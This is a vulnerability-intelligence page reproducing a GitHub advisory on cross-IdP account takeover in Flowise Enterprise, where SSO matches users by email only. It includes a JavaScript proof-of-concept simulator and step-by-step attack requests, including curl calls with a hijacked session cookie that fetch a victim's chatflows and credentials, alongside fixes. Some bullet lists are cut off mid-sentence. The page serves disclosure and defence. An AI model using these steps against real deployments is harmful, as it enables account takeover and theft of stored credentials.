llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · flowise

GHSA-CFFM-583C-VFFR

Cross-IdP account takeover via email-only SSO matching

Sin parche publicado
Descargar PNG JSON
CVSS 4.0
9.2
Crítica
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición70 dDesde la divulgación, 10 sept 2026, 9:18 a. m.
Detección69 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
10 sept 26
18 nov 26
19 nov 26
10 sept 26
28 sept 26
15 oct 26
2 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-CFFM-583C-VFFR divulgada · CVSS 9.2 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
Flowise Enterprise integrates four SSO providers — Google
(`packages/server/src/enterprise/sso/GoogleSSO.ts`), Auth0
(`Auth0SSO.ts`), Microsoft Entra / Azure AD (`AzureSSO.ts`), and
GitHub (`GithubSSO.ts`) — and a local username/password backend. Each
provider's verify callback ultimately delegates to a single shared
`SSOBase.verifyAndLogin(email, …)` method
(`SSOBase.ts:38-148`).

`verifyAndLogin` resolves the inbound user solely by email:
`userService.readUserByEmail(email)` (`SSOBase.ts:56`), which is a
case-insensitive `findOneBy(User, { email: ILike(email) })`
(`user.service.ts:58-62`). The `User` entity
(`user.entity.ts:17-92`) does not store an IdP / `sub` / `iss`
binding — there is no `provider`, `providerSub`, `iss`, or any
equivalent column. Once a User row is found by email, the function
falls through to lines 99-141, builds a `LoggedInUser`, and returns
it to the provider's callback, which calls `req.login(user, …)` and
issues a session (`GoogleSSO.ts:106-108` / `Auth0SSO.ts:127-130` /
`AzureSSO.ts:57-59` / `GithubSSO.ts:96-99`).

The consequence is that **whichever authentication path issues a
verified claim for an email wins access to the user account
registered under that email**, regardless of how the user originally
registered. Concretely:

  • A user registered via local password is takeoverable by anyone who
  • A user registered via Google SSO is takeoverable by anyone who can
  • A user registered via Auth0 SSO is takeoverable by anyone who can
  • (And so on for every cross-pair.)

Because Flowise Enterprise documents and supports configuring
multiple SSO providers simultaneously and side-by-side with local
password, this is not a hypothetical multi-IdP-only edge case — it is
the common deployment shape.

The behavioral PoC at
the bundled behavioral PoC (`pocs/sso-email-only-binding/`) confirms all five stages:
local user creation; legitimate local login; cross-provider login as
the local-password user via Auth0; the same via GitHub; and multi-IdP
cross-confusion (Google-registered victim taken over by Auth0).

Why "email" is not a safe authentication identifier

The fundamental issue is that the email claim is a **caller-asserted
attribute** of a user, not a server-issued or
provider-cross-validated identity. Different IdPs apply different
verification policies:

  • Google verifies the email at account creation; `gmail.com`
  • Auth0 username/password connections are configurable: per-tenant
  • Microsoft Entra (Azure AD) — the `email` / `username` claim is
  • GitHub — the primary email selected by the user from their

The point is not that any single provider is broken — it is that
**Flowise is treating `email` as a stable, cross-provider, server-issued
identifier, when it is in fact an arbitrary attribute that any
configured provider's tenant admin can assert**. The correct
identifier is `(provider, sub)`, where `sub` is the
provider-issued globally-unique user identifier that does not change
and cannot be reassigned. The fix is to maintain a stored binding
table mapping each `(provider, sub)` to a Flowise User, and reject
unrecognized bindings rather than auto-merging by email.

Details

Vulnerable file 1 — the email-only resolver:
`packages/server/src/enterprise/sso/SSOBase.ts:38-148`

async verifyAndLogin(
    app: express.Application,
    email: string,                                                   // ← arbitrary string from provider
    done: (err?: Error | null, user?: Express.User, info?: any) => void,
    profile: passport.Profile,                                       // ← profile.id (the sub) is IGNORED
    accessToken: string | object,
    refreshToken: string
) {
    let queryRunner
    const ssoProviderName = this.getProviderName()                   // ← e.g. "Google SSO"; never persisted/checked
    try {
        queryRunner = getRunningExpressApp().AppDataSource.createQueryRunner()
        await queryRunner.connect()

        const userService = new UserService()
        // ...
        let user: any = await userService.readUserByEmail(email, queryRunner)   // ← line 56: EMAIL ONLY
        let wu: any = {}

        if (!user) {
            if (getRunningExpressApp().identityManager.getPlatformType() === Platform.ENTERPRISE) {
                throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
            }
            // CLOUD: register a new user with whatever email the provider claimed
            // (lines 64-79 — no email_verified check, no provider attribution stored)
            // ...
        } else {
            // *** This advisory's attack lands here for the takeover case ***
            if (user.status === UserStatus.INVITED) {                // ← line 81: also the INVITED-auto-promote sibling advisory's territory
                // (auto-promote — covered separately)
            }
            let wsUserOrUsers = await workspaceUserService.readWorkspaceUserByLastLogin(user?.id, queryRunner)
            wu = Array.isArray(wsUserOrUsers) && wsUserOrUsers.length > 0 ? wsUserOrUsers[0] : (wsUserOrUsers as WorkspaceUser)
        }
        // *** No provider check between the resolution above and the LoggedInUser
        //     construction below.  No comparison of profile.id against any stored
        //     binding.  No comparison of ssoProviderName against any per-user
        //     allowlist.  Just: email → User → session. ***

        // ...workspace + role + organization plumbing...

        const loggedInUser: LoggedInUser = {
            id: workspaceUser.userId,                                // ← victim's userId
            email: user?.email || '',
            name: user?.name || '',
            roleId: workspaceUser.roleId,                            // ← victim's role (could be Admin)
            // ...
            ssoToken: accessToken as string,                         // attacker's IdP token (irrelevant for re-auth)
            ssoRefreshToken: refreshToken,
            ssoProvider: ssoProviderName,                            // ← merely descriptive; not enforcing
            permissions: [...JSON.parse(role.permissions)],
            features
        }
        return done(null, loggedInUser as Express.User, { message: 'Logged in Successfully' })
    } catch (error) {
        // ...
    } finally {
        if (queryRunner && !queryRunner.isReleased) await queryRunner.release()
    }
}

Vulnerable file 2 — the User schema with no IdP binding:
`packages/server/src/enterprise/database/entities/user.entity.ts:17-92`

@Entity()
export class User {
    @PrimaryGeneratedColumn('uuid') id: string
    @Column({ type: 'varchar', length: 100 }) name: string
    @Column({ type: 'varchar', length: 255, unique: true }) email: string   // ← the only identifier
    @Column({ type: 'text', nullable: true }) credential?: string | null    // password hash
    @Column({ type: 'text', nullable: true, unique: true }) tempToken?: string | null
    @CreateDateColumn({ nullable: true }) tokenExpiry?: Date | null
    @Column({ type: 'varchar', length: 20, default: UserStatus.UNVERIFIED }) status: string
    // (createdDate / updatedDate / createdBy / updatedBy / and OneToMany backrefs)
    // *** NO provider, NO sub, NO iss, NO IdP binding column. ***
}

The `LoginMethod` entity (`login-method.entity.ts`) sounds like it
might be the missing binding, but it isn't — it is the
organization-level SSO configuration (which IdPs the org has
enabled, with config blobs), not a per-user
identity-to-provider-account mapping.

**Vulnerable files 3-6 — provider callbacks all funnel email to
`verifyAndLogin`:**

// GoogleSSO.ts:43-65
const email = profile.emails[0].value
return this.verifyAndLogin(this.app, email, done, profile, accessToken, refreshToken)

// Auth0SSO.ts:68-87
const email = profile.emails?.[0]?.value
return await this.verifyAndLogin(this.app, email, done, profile, accessToken, refreshToken)

// AzureSSO.ts:87-108
const email = profile.username
return this.verifyAndLogin(this.app, email, done, profile, accessToken, refreshToken)

// GithubSSO.ts:36-50
const emails = await emailResponse.json()
let primaryEmail = emails.find((email: any) => email.primary && email.verified)?.email
if (!primaryEmail && Array.isArray(emails) && emails.length > 0) {
    primaryEmail = emails[0].email                                  // ← fallback to unverified primary (separate companion advisory)
}
return this.verifyAndLogin(this.app, primaryEmail, done, profile, accessToken, refreshToken)

In all four, `profile.id` (the IdP's stable subject identifier) is
not used by Flowise except as part of the discarded `profile` object
passed through to `verifyAndLogin` for `displayName` only.

Vulnerable file 7 — local password also resolves by email:
`packages/server/src/enterprise/services/account.service.ts:537-590`

public async login(data: AccountDTO) {
    // ...
    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)   // ← line 547
    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
    if (!user.credential) throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.INVALID_USER_CREDENTIAL)
    if (!compareHash(data.user.credential, user.credential)) {
        throw new InternalFlowiseError(StatusCodes.UNAUTHORIZED, UserErrorMessage.INCORRECT_USER_EMAIL_OR_CREDENTIALS)
    }
    // ...
}

So the User-by-email row is the one source of truth for both local
password and every SSO provider. Given any one credential channel
(provider's email claim OR a password hash), you authenticate as
that User.

Concrete exploitation scenarios
  1. Local-password to SSO takeover (single-IdP added later). Flowise org
  1. Cross-IdP confusion (multi-IdP enterprise deployment). Flowise
  1. GitHub primary-email substitution. Per the companion GitHub-primary-email advisory, an attacker can
  1. INVITED auto-promote (sibling advisory chain). Admin sends invite to
  1. Email change post-registration (lateral hijack within an org).
PoC

The bundled PoC replays the verbatim
`readUserByEmail` + `verifyAndLogin` resolver paths into a
self-contained simulator and demonstrates four scenarios (local→SSO
takeover, GitHub variant, Google→Auth0 cross-IdP confusion).

// PoC: SSO email-only identity binding (cross-provider account merge)
//
// Replays the verbatim user-resolution path from
//   packages/server/src/enterprise/sso/SSOBase.ts:38-148  (verifyAndLogin)
//   packages/server/src/enterprise/services/user.service.ts:58-62  (readUserByEmail)
//   packages/server/src/enterprise/services/account.service.ts:537-590  (login)
// in a self-contained simulator.
//
// Confirms that:
//   (a) Both the local-password login and the SSO login resolve a user by EMAIL ONLY.
//   (b) The User entity has NO provider/sub binding column.
//   (c) An attacker authenticating at ANY configured SSO provider with the victim's
//       email claim is logged in as the existing victim account — regardless of how
//       the victim originally registered (local password / Google / Auth0 / Azure /
//       GitHub).
//   (d) `user.status` controls the branch at SSOBase.ts:80-97 — for ACTIVE users,
//       there is no provider check; the function just builds a LoggedInUser for the
//       email-matched account and calls done() with it.

// --- In-memory tables (mirroring the User / WorkspaceUser TypeORM schema) ----
const userTable = []           // mirrors User entity (user.entity.ts)
const workspaceUserTable = []  // mirrors WorkspaceUser entity

const UserStatus = Object.freeze({
    ACTIVE:     'active',
    INVITED:    'invited',
    UNVERIFIED: 'unverified',
    DELETED:    'deleted'
})

// --- Verbatim port of UserService.readUserByEmail (user.service.ts:58-62) ----
function readUserByEmail(email) {
    if (!email) throw new Error('INVALID_USER_EMAIL')
    // findOneBy(User, { email: ILike(email) })  ← case-insensitive email match
    return userTable.find(u => u.email.toLowerCase() === email.toLowerCase()) || null
}

// --- Verbatim port of compareHash (utils/encryption.util.ts) -----------------
const crypto = require('crypto')
function getHash(plaintext) {
    return crypto.createHash('sha256').update(plaintext).digest('hex')
}
function compareHash(plaintext, hash) {
    return getHash(plaintext) === hash
}

// --- Verbatim port of AccountService.login (account.service.ts:537-590) -------
function localLogin({ email, credential }) {
    if (!credential) throw new Error('INVALID_USER_CREDENTIAL')
    const user = readUserByEmail(email)                                       // ← line 547
    if (!user) throw new Error('USER_NOT_FOUND')                              // ← line 550
    if (!user.credential) throw new Error('INVALID_USER_CREDENTIAL')          // ← line 554
    if (!compareHash(credential, user.credential))                            // ← line 556
        throw new Error('INCORRECT_USER_EMAIL_OR_CREDENTIALS')                // ← line 558
    if (user.status === UserStatus.UNVERIFIED) throw new Error('USER_EMAIL_UNVERIFIED')
    return user
}

// --- Verbatim port of SSOBase.verifyAndLogin (SSOBase.ts:38-148) -------------
//     The relevant lookup-and-merge logic only — workspace/role/organization
//     plumbing omitted. The point is: there is no provider check anywhere.
function verifyAndLogin({ email, profile, accessToken, refreshToken, providerName, platform }) {
    const user = readUserByEmail(email)                                       // ← SSOBase.ts:56
    if (!user) {
        if (platform === 'ENTERPRISE') {                                      // ← SSOBase.ts:61
            throw new Error('USER_NOT_FOUND')
        }
        // CLOUD path — register a fresh account (SSOBase.ts:64-79)
        const newUser = {
            id: crypto.randomUUID(),
            email,
            name: profile.displayName || email,
            credential: undefined,
            status: UserStatus.ACTIVE,
            registeredVia: providerName
        }
        userTable.push(newUser)
        return { user: newUser, ssoProvider: providerName, message: 'New user registered via SSO' }
    } else {
        // *** This advisory's attack landing spot. ***
        // For ACTIVE existing users — and they reach here from any provider —
        // the function just falls through to the LoggedInUser construction.
        if (user.status === UserStatus.INVITED) {                             // ← SSOBase.ts:81 (sibling INVITED-auto-promote advisory's territory)
            user.status = UserStatus.ACTIVE  // promoted by mere SSO email match
        }
        // SSOBase.ts:99-141: build LoggedInUser and call done() with it.
        // No comparison of providerName against any stored binding for `user`.
        return { user, ssoProvider: providerName, message: 'Login Success' }
    }
}

;(async () => {
    console.log('================================================================')
    console.log('Stage 1 — Victim registers via local password')
    console.log('================================================================')
    const VICTIM_EMAIL = 'victim@example.com'
    userTable.push({
        id: 'user-victim-001',
        email: VICTIM_EMAIL,
        name: 'Victim Real-Name',
        credential: getHash('VictimSecretPassword!2026'),
        status: UserStatus.ACTIVE,
        registeredVia: 'local-password'
    })
    workspaceUserTable.push({ userId: 'user-victim-001', workspaceId: 'ws-victim-org' })
    console.log(`  victim row created: ${JSON.stringify(userTable[0], null, 2)}`)
    console.log(`  ↑ note: NO provider, NO sub, NO IdP binding column anywhere.`)

    console.log('\n================================================================')
    console.log('Stage 2 — Victim logs in legitimately with local password')
    console.log('================================================================')
    try {
        const u = localLogin({ email: VICTIM_EMAIL, credential: 'VictimSecretPassword!2026' })
        console.log(`  ✅ local login OK → user.id=${u.id}, registeredVia=${u.registeredVia}`)
    } catch (e) { console.log(`  unexpected: ${e.message}`) }

    console.log('\n================================================================')
    console.log('Stage 3 — Attacker hits Auth0 SSO callback claiming victim\'s email')
    console.log('  (Auth0 supports username/password connections that DON\'T enforce')
    console.log('   email verification; an attacker controlling an Auth0 connection')
    console.log('   trusted by Flowise can mint an arbitrary `email` claim.)')
    console.log('================================================================')
    const auth0Result = verifyAndLogin({
        email: VICTIM_EMAIL,                                       // attacker's claim
        profile: { displayName: 'Mallory the Attacker', id: 'auth0|99999' },
        accessToken: 'auth0-access-token-attacker',
        refreshToken: 'auth0-refresh-token-attacker',
        providerName: 'Auth0 SSO',
        platform: 'ENTERPRISE'
    })
    console.log(`  → verifyAndLogin returned a session for: user.id=${auth0Result.user.id}, email=${auth0Result.user.email}`)
    console.log(`  → ssoProvider on session: "${auth0Result.ssoProvider}"`)
    console.log(`  → registeredVia on user row: "${auth0Result.user.registeredVia}"  ← still "local-password"`)
    if (auth0Result.user.id === 'user-victim-001') {
        console.log('\n  [+] CONFIRMED — attacker IS logged in as the local-password victim.')
        console.log('      No provider check. No sub check. The Auth0 attacker received the same')
        console.log('      LoggedInUser the victim would have received via local password.')
    }

    console.log('\n================================================================')
    console.log('Stage 4 — Same attack via GitHub SSO instead of Auth0')
    console.log('  (GitHub permits primary-email selection from any of the user\'s')
    console.log('   verified emails; combined with the GitHub-primary-email companion advisory, an attacker can also reach')
    console.log('   the verifyAndLogin path with an unverified primary email.)')
    console.log('================================================================')
    const ghResult = verifyAndLogin({
        email: VICTIM_EMAIL,
        profile: { displayName: 'gh-attacker', id: 'github|77777' },
        accessToken: 'gh-access-token',
        refreshToken: 'gh-refresh-token',
        providerName: 'GitHub SSO',
        platform: 'ENTERPRISE'
    })
    console.log(`  → verifyAndLogin returned a session for: user.id=${ghResult.user.id}, email=${ghResult.user.email}`)
    console.log(`  → ssoProvider on session: "${ghResult.ssoProvider}"  ← session says GitHub`)
    console.log(`  → but user.id is still: ${ghResult.user.id}  ← victim's account`)

    console.log('\n================================================================')
    console.log('Stage 5 — Multi-IdP confusion — victim registered via Google,')
    console.log('         attacker logs in via Auth0 with same email')
    console.log('================================================================')
    const ANOTHER_EMAIL = 'employee@company.com'
    // Victim originally registered via Google in CLOUD mode
    verifyAndLogin({
        email: ANOTHER_EMAIL,
        profile: { displayName: 'Google Employee', id: 'google|11111' },
        accessToken: 'g-access-token',
        refreshToken: 'g-refresh-token',
        providerName: 'Google SSO',
        platform: 'CLOUD'
    })
    const employeeRow = readUserByEmail(ANOTHER_EMAIL)
    console.log(`  victim registered via Google: user.id=${employeeRow.id}, registeredVia=${employeeRow.registeredVia}`)
    // Attacker now authenticates via a different IdP (Auth0) that the org also trusts.
    const xResult = verifyAndLogin({
        email: ANOTHER_EMAIL,
        profile: { displayName: 'Different Person', id: 'auth0|88888' },
        accessToken: 'a-access-token',
        refreshToken: 'a-refresh-token',
        providerName: 'Auth0 SSO',
        platform: 'CLOUD'
    })
    console.log(`  attacker via Auth0 → user.id=${xResult.user.id}, registeredVia=${xResult.user.registeredVia}`)
    if (xResult.user.id === employeeRow.id) {
        console.log('  [+] Cross-IdP confusion confirmed — Auth0 attacker logged in as Google-registered victim.')
    }

    console.log('\n================================================================')
    console.log('Realistic exploitation paths')
    console.log('================================================================')
    console.log('1. Multi-IdP deployments — the most common Enterprise config. Org trusts')
    console.log('   Google + Auth0 (or Azure + Auth0). Auth0 username/password connections')
    console.log('   often have email_verified=false; whichever IdP issues a claim with the')
    console.log('   victim\'s email wins.')
    console.log('2. Single-IdP + local-password — early adopters predate the SSO rollout.')
    console.log('   Their accounts have a `credential` hash. Anyone authenticating via the')
    console.log('   added IdP with their email takes over the account.')
    console.log('3. Chained with the GitHub-primary-email advisory — attacker uses an unverified GitHub primary email matching')
    console.log('   the victim\'s real email at a different (verifying) provider.')
    console.log('4. Chained with the INVITED-auto-promote advisory — admin invites target@x.com (status=INVITED, awaiting')
    console.log('   tempToken). Attacker controls SSO at that email → automatic promotion')
    console.log('   to ACTIVE without ever consuming the invite token.')
})()
Observed output (full)
Stage 1 — victim registers via local password (registeredVia: local-password)
Stage 2 — local login OK → user.id=user-victim-001
Stage 3 — Auth0 SSO attacker → session for user.id=user-victim-001
  [+] CONFIRMED — attacker IS logged in as the local-password victim.
Stage 4 — GitHub SSO attacker → session for user.id=user-victim-001
Stage 5 — Google-registered victim, Auth0 attacker → same user.id
  [+] Cross-IdP confusion confirmed.
End-to-end against a live Flowise Enterprise instance
# Pre-condition: Flowise has both local-password auth and Auth0 SSO enabled,
# AND there is an existing User row with email victim@example.com (any registration channel).

# 1. Attacker creates an Auth0 account at the org's configured Auth0 tenant
#    with email "victim@example.com"
#    (Auth0 username/password connection where verify_email_on_signup is false,
#    or the attacker uses a malicious Auth0 organization the org's instance trusts).

# 2. Attacker initiates Auth0 login at Flowise:
GET https://flowise.example.com/api/v1/auth0/login
   ↓ Auth0 redirects after attacker authenticates ↓
GET https://flowise.example.com/api/v1/auth0/callback?code=AUTH_CODE&state=...

# 3. Server exchanges the code, fetches userInfo with email=victim@example.com.
#    SSOBase.verifyAndLogin → readUserByEmail("victim@example.com") → User row
#    for the local-password victim. setTokenOrCookies(victim) → attacker now
#    holds a session as victim.

# 4. Attacker can now make any authenticated API call as victim:
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/chatflows
# → returns victim's chatflows
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/credentials
# → returns victim's credentials (decryptable via the credential APIs)
Impact
  • Class: Improper Authentication (CWE-287) primary; Authentication
  • Affected: Flowise Enterprise platform deployments — i.e., all
  • Prerequisites:
  • Default scenario (AC:L): the deployment has at least one of:
  • Hardened scenario (AC:H): single SSO provider with strict
  • Result:
  • Confidentiality: complete read of the targeted user's data
  • Integrity: complete write as the targeted user — including
  • Availability: no direct DoS impact; covered by other
Remediation

Maintainer fix (recommended — provider+sub binding table):

Introduce a `UserIdentity` (or similar) entity that maps each
`(provider, sub)` to a single Flowise User. Make this binding the
sole basis for SSO authentication; never auto-merge by email.

  1. Schema migration. Add a new entity:

```ts
// packages/server/src/enterprise/database/entities/user-identity.entity.ts
@Entity({ name: 'user_identity' })
export class UserIdentity {
@PrimaryGeneratedColumn('uuid') id: string
@Column({ type: 'varchar', length: 50 }) provider: string // e.g. 'google', 'auth0', 'azure', 'github', 'local'
@Column({ type: 'varchar', length: 255 }) sub: string // provider-issued stable user identifier
@Column() userId: string
@ManyToOne(() => User) @JoinColumn({ name: 'userId' }) user: User
@CreateDateColumn() createdDate?: Date
}
// Add unique index on (provider, sub). Add lookup index on userId.
```

  1. Strict provider+sub resolution in `verifyAndLogin`:

```ts
async verifyAndLogin(app, email, done, profile, accessToken, refreshToken) {
const provider = this.getProviderName()
const sub = profile.id // OIDC: profile.id = sub claim
if (!sub) return done({ name: 'SSO_LOGIN_FAILED', message: 'Provider did not issue a stable subject identifier' }, undefined)

const identityRepo = queryRunner.manager.getRepository(UserIdentity)
const identity = await identityRepo.findOne({ where: { provider, sub }, relations: ['user'] })

if (identity) {
// Existing binding — log them in as the bound user.
// Optionally update name/email from the IdP claims if changed.
const user = identity.user
// ... build LoggedInUser as before ...
return done(null, loggedInUser, { message: 'Login Success' })
}

// No existing binding. Decide policy:
// (a) Reject and require an account-linking flow (RECOMMENDED). The user
// must first authenticate to their existing Flowise account through
// another channel (or perform an admin-issued invitation), then opt-in
// to bind this provider. NEVER bind silently by email.
return done({ name: 'SSO_LOGIN_FAILED', message: 'No Flowise account is linked to this SSO identity. Please log in via your existing method first and link this provider in account settings.' }, undefined)
}
```

  1. Account-linking flow. Add an authenticated endpoint
  1. Migration of existing accounts. For each existing User, on
  1. Honor `email_verified` for OIDC providers. Even if email

Defense in depth:

  1. Disable local password when any SSO is enabled at the
  2. Audit-log the provider used at every login, with the
  3. Per-organization IdP allow-list. Don't let an organization's
  4. Email change re-verification. When a user changes their email

User mitigations until a patch ships:

  • Use only ONE SSO provider per Flowise Enterprise instance, and
  • Disable local-password authentication if any SSO provider is
  • **Ensure the configured SSO provider's tenant is bound to a
  • Audit existing User rows for suspicious dual-existence. If an
  • Rotate sensitive credentials and API keys stored by any user

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:L
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flowise≤ 3.1.4
3.1.4
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmflowise
Sin parche — — 3.1.4 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/FlowiseAI/Flowise/security/advisories/GHSA-cffm-583c-vffr

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.